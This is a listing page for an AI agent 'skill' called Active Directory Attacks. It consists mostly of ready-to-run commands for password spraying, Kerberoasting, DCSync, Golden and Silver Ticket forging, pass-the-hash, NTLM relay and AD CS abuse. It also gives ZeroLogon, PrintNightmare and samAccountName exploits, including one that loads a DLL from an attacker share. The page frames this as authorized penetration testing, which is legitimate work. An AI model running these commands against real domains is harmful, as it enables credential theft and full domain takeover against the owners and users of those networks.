home / skills / jcastillotx / vibe-skeleton-app / active-directory-attacks

active-directory-attacks skill

needs review

This skill helps assess and map Active Directory security posture by outlining reconnaissance and credential exposure concepts for red team planning.

This is most likely a fork of the active-directory-attacks skill from xfstudio

npx playbooks add skill jcastillotx/vibe-skeleton-app --skill active-directory-attacks

Review the files below or copy the command above to add this skill to your agents.

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SKILL.md

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---
name: Active Directory Attacks
description: This skill should be used when the user asks to "attack Active Directory", "exploit AD", "Kerberoasting", "DCSync", "pass-the-hash", "BloodHound enumeration", "Golden Ticket", "Silver Ticket", "AS-REP roasting", "NTLM relay", or needs guidance on Windows domain penetration testing.
---

# Active Directory Attacks

## Purpose

Provide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.

## Inputs/Prerequisites

- Kali Linux or Windows attack platform
- Domain user credentials (for most attacks)
- Network access to Domain Controller
- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec

## Outputs/Deliverables

- Domain enumeration data
- Extracted credentials and hashes
- Kerberos tickets for impersonation
- Domain Administrator access
- Persistent access mechanisms

---

## Essential Tools

| Tool | Purpose |
|------|---------|
| BloodHound | AD attack path visualization |
| Impacket | Python AD attack tools |
| Mimikatz | Credential extraction |
| Rubeus | Kerberos attacks |
| CrackMapExec | Network exploitation |
| PowerView | AD enumeration |
| Responder | LLMNR/NBT-NS poisoning |

---

## Core Workflow

### Step 1: Kerberos Clock Sync

Kerberos requires clock synchronization (±5 minutes):

```bash
# Detect clock skew
nmap -sT 10.10.10.10 -p445 --script smb2-time

# Fix clock on Linux
sudo date -s "14 APR 2024 18:25:16"

# Fix clock on Windows
net time /domain /set

# Fake clock without changing system time
faketime -f '+8h' <command>
```

### Step 2: AD Reconnaissance with BloodHound

```bash
# Start BloodHound
neo4j console
bloodhound --no-sandbox

# Collect data with SharpHound
.\SharpHound.exe -c All
.\SharpHound.exe -c All --ldapusername user --ldappassword pass

# Python collector (from Linux)
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all
```

### Step 3: PowerView Enumeration

```powershell
# Get domain info
Get-NetDomain
Get-DomainSID
Get-NetDomainController

# Enumerate users
Get-NetUser
Get-NetUser -SamAccountName targetuser
Get-UserProperty -Properties pwdlastset

# Enumerate groups
Get-NetGroupMember -GroupName "Domain Admins"
Get-DomainGroup -Identity "Domain Admins" | Select-Object -ExpandProperty Member

# Find local admin access
Find-LocalAdminAccess -Verbose

# User hunting
Invoke-UserHunter
Invoke-UserHunter -Stealth
```

---

## Credential Attacks

### Password Spraying

```bash
# Using kerbrute
./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123

# Using CrackMapExec
crackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success
```

### Kerberoasting

Extract service account TGS tickets and crack offline:

```bash
# Impacket
GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# CrackMapExec
crackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt rockyou.txt
```

### AS-REP Roasting

Target accounts with "Do not require Kerberos preauthentication":

```bash
# Impacket
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat

# Rubeus
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Crack with hashcat
hashcat -m 18200 hashes.txt rockyou.txt
```

### DCSync Attack

Extract credentials directly from DC (requires Replicating Directory Changes rights):

```bash
# Impacket
secretsdump.py domain.local/admin:[email protected] -just-dc-user krbtgt

# Mimikatz
lsadump::dcsync /domain:domain.local /user:krbtgt
lsadump::dcsync /domain:domain.local /user:Administrator
```

---

## Kerberos Ticket Attacks

### Pass-the-Ticket (Golden Ticket)

Forge TGT with krbtgt hash for any user:

```powershell
# Get krbtgt hash via DCSync first
# Mimikatz - Create Golden Ticket
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt

# Impacket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass domain.local/[email protected]
```

### Silver Ticket

Forge TGS for specific service:

```powershell
# Mimikatz
kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt
```

### Pass-the-Hash

```bash
# Impacket
psexec.py domain.local/[email protected] -hashes :NTHASH
wmiexec.py domain.local/[email protected] -hashes :NTHASH
smbexec.py domain.local/[email protected] -hashes :NTHASH

# CrackMapExec
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local
crackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth
```

### OverPass-the-Hash

Convert NTLM hash to Kerberos ticket:

```bash
# Impacket
getTGT.py domain.local/user -hashes :NTHASH
export KRB5CCNAME=user.ccache

# Rubeus
.\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt
```

---

## NTLM Relay Attacks

### Responder + ntlmrelayx

```bash
# Start Responder (disable SMB/HTTP for relay)
responder -I eth0 -wrf

# Start relay
ntlmrelayx.py -tf targets.txt -smb2support

# LDAP relay for delegation attack
ntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access
```

### SMB Signing Check

```bash
crackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt
```

---

## Certificate Services Attacks (AD CS)

### ESC1 - Misconfigured Templates

```bash
# Find vulnerable templates
certipy find -u [email protected] -p password -dc-ip 10.10.10.10

# Exploit ESC1
certipy req -u [email protected] -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn [email protected]

# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10
```

### ESC8 - Web Enrollment Relay

```bash
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
```

---

## Critical CVEs

### ZeroLogon (CVE-2020-1472)

```bash
# Check vulnerability
crackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon

# Exploit
python3 cve-2020-1472-exploit.py DC01 10.10.10.10

# Extract hashes
secretsdump.py -just-dc domain.local/DC01\[email protected] -no-pass

# Restore password (important!)
python3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD
```

### PrintNightmare (CVE-2021-1675)

```bash
# Check for vulnerability
rpcdump.py @10.10.10.10 | grep 'MS-RPRN'

# Exploit (requires hosting malicious DLL)
python3 CVE-2021-1675.py domain.local/user:[email protected] '\\attacker\share\evil.dll'
```

### samAccountName Spoofing (CVE-2021-42278/42287)

```bash
# Automated exploitation
python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
```

---

## Quick Reference

| Attack | Tool | Command |
|--------|------|---------|
| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |

---

## Constraints

**Must:**
- Synchronize time with DC before Kerberos attacks
- Have valid domain credentials for most attacks
- Document all compromised accounts

**Must Not:**
- Lock out accounts with excessive password spraying
- Modify production AD objects without approval
- Leave Golden Tickets without documentation

**Should:**
- Run BloodHound for attack path discovery
- Check for SMB signing before relay attacks
- Verify patch levels for CVE exploitation

---

## Examples

### Example 1: Domain Compromise via Kerberoasting

```bash
# 1. Find service accounts with SPNs
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10

# 2. Request TGS tickets
GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt

# 3. Crack tickets
hashcat -m 13100 tgs.txt rockyou.txt

# 4. Use cracked service account
psexec.py domain.local/svc_admin:[email protected]
```

### Example 2: NTLM Relay to LDAP

```bash
# 1. Start relay targeting LDAP
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access

# 2. Trigger authentication (e.g., via PrinterBug)
python3 printerbug.py domain.local/user:pass@target 10.10.10.12

# 3. Use created machine account for RBCD attack
```

---

## Troubleshooting

| Issue | Solution |
|-------|----------|
| Clock skew too great | Sync time with DC or use faketime |
| Kerberoasting returns empty | No service accounts with SPNs |
| DCSync access denied | Need Replicating Directory Changes rights |
| NTLM relay fails | Check SMB signing, try LDAP target |
| BloodHound empty | Verify collector ran with correct creds |

---

## Additional Resources

For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).

Overview

This skill provides practical techniques for attacking Microsoft Active Directory environments for authorized red team engagements and penetration tests. It focuses on reconnaissance, credential harvesting, Kerberos and NTLM attacks, lateral movement, privilege escalation, and domain persistence. Use it to plan and execute controlled AD attack chains and produce actionable findings for defenders.

How this skill works

The skill inspects AD configurations, service principal names, group membership, and domain controller accessibility to identify attack paths. It advocates using common tooling (BloodHound, Impacket, Mimikatz, Rubeus, CrackMapExec, PowerView, Responder) to collect data, extract credentials or hashes, abuse Kerberos/NTLM protocols, and forge or relay tickets. Results include enumerations, extracted secrets, forged tickets, and recommended mitigations.

When to use it

During an authorized red team or penetration test targeting Windows domain environments
When mapping AD attack paths and identifying privilege escalation vectors
To test defenses against Kerberos attacks (Kerberoast, AS-REP, Golden/Silver Tickets)
To validate network protections against NTLM relay and SMB signing bypass
When assessing AD Certificate Services (AD CS) misconfigurations or ESC attacks

Best practices

Obtain written authorization and limit scope to agreed targets
Synchronize clocks with the domain controller before Kerberos operations
Document compromised accounts, timestamps, and actions for remediation
Avoid noisy spraying and lockout-causing actions; use stealthy enumeration where appropriate
Verify SMB signing and patch levels before attempting relay or CVE exploits

Example use cases

Run BloodHound and SharpHound to visualize attack paths from a low-privilege user
Perform Kerberoasting to extract service account TGS tickets and crack them offline
Execute DCSync with granted replication rights to obtain krbtgt or administrator hashes
Forge a Golden Ticket after obtaining krbtgt hash to validate detection and response
Test NTLM relay chains with responder and ntlmrelayx against LDAP/HTTP targets

FAQ

Do I need domain credentials for these attacks?

Most attacks require at least a domain user account and network access to a domain controller; some attacks (e.g., Relay, LLMNR poisoning) can work from unauthenticated network positions.

How do I avoid causing harm during testing?

Use approved windows, avoid making persistent production changes, do not leave forged tickets or new accounts active, and coordinate with defenders to rollback any staged changes.

Which tools are essential?

BloodHound/SharpHound, Impacket, Mimikatz, Rubeus, CrackMapExec, PowerView, and Responder form a core toolkit for AD attack workflows.